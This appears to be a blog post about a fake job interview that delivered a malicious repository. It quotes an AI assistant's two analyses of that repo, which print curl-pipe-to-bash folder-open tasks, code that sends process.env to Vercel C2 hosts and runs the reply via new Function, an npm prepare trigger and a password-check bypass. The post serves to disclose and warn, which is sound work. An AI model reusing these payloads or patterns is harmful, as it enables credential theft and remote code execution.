I was asked to install malware during a fake interview

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

Verdict: This repository contains malicious code. Do NOT run npm install, npm start, or open this folder in VS Code.

  Four active attack vectors:

  1. VS Code auto-run on folder open — .vscode/tasks.json:47-69
  Task "env" with "runOn": "folderOpen", hidden behind whitespace padding and silent presentation, executes:
  - macOS: curl -L https://vscode-settings-0506.vercel.app/api/settings/mac | bash
  - Linux: wget -qO- .../linux | sh
  - Windows: curl … /windows | cmd

  Git history shows ~10 burner Vercel hosts rotated under the cover of "Update tasks.json" commits by GitWorkSpace2 <arfinapia832+3@gmail.com>.

  2. Server-side env exfiltration + remote-controlled RCE — server/routes/api/auth.js:18-36 and server/controllers/auth.js:67-72
  On every server start, validateApiKey():
  - atob(process.env.AUTH_API) → decodes to https://ip-core-api-one.vercel.app/api
  - POSTs the entire process.env (AWS, Stripe, JWT_SECRET, Mongo URI, etc.) to that URL
  - Pipes the HTTP response into new Function("require", response.data) and invokes it with full Node require — arbitrary remote code execution on your server.

  3. prepare npm lifecycle trigger — package.json:60
  "prepare": "node server/server.js" — npm install alone runs the server, triggering vector #2. You don't even need to start the app.

  4. Auth bypass backdoor — server/controllers/auth.js:39-44
  const isMatch = true; — password check is hard-wired; any known email logs in and gets a JWT.

  If you already opened the folder in VS Code or ran npm install on a host with real secrets:
  1. Rotate every secret that was in the shell/process environment.
  2. Check for persistence: cron, launchd, ~/.ssh/authorized_keys, shell rc files, ~/.config/*.
  3. Inspect shell history and recent processes; review what was pulled from the Vercel C2 hosts.
  4. Treat the entire repo as untrusted — reset to a known-good upstream rather than patching.

  The placeholder-looking secrets in .env (AKIAEXAMPLE12345, sk_test_*) are decoys — the malware exfiltrates the real runtime process.env, not the file.

  Want me to write up a cleaned diff that removes all four vectors, or just stop here?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

Verified independently. Yes — this repo contains a backdoor.

  Verdict: Malicious

  The payload: server/middlewares/validator/errorHandler.js
  - Lines 26-37: errorHandler takes a string and runs it with new (Function.constructor)('require', errCode) then calls it with require — arbitrary RCE with full Node access (filesystem, network, child_process).
  - Lines 49-63: errorTimeHandler base64-decodes a URL + secret header from env, fetches it, and on any error feeds the response body to errorHandler — so whatever the C2 returns gets executed.

  The trigger: server/middlewares/validator/index.js:105 — calls errorTimeHandler(); at module top-level, so it fires the moment the validator middleware is require()d (which productRoute.js → app.js does on server start).

  The C2: server/config/config.env.example lines 61-63 — base64 decodes to:
  - URL: https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1
  - Header: x-secret-header: secret

  The "example" filename is camouflage — errorHandler.js:3 explicitly loads config.env.example via dotenv.config(...), so the values are live even without a real .env.

  Other signals
  - The repo claims to be a real-estate MVP but the server code is an unrelated "RoyalCity" e-commerce scaffold — cover content.
  - dbErrorHandler.js is single-line minified (suspicious in an otherwise readable codebase, though its content is benign).
  - Frontend (React/Vite, public/service-worker.js, etc.) is clean.

  Recommendation

  Do not run npm install or start the server. If you already did:
  1. Stop any running node process from this repo.
  2. Check outbound connections to server-victory5.vercel.app and any unexpected child processes.
  3. Rotate any credentials that were present in the environment when it ran.
  4. Treat node_modules as untrusted and delete it — the loader could have pulled and persisted anything.

  Want me to write up the specific lines to remove, or leave the repo as-is for forensic purposes?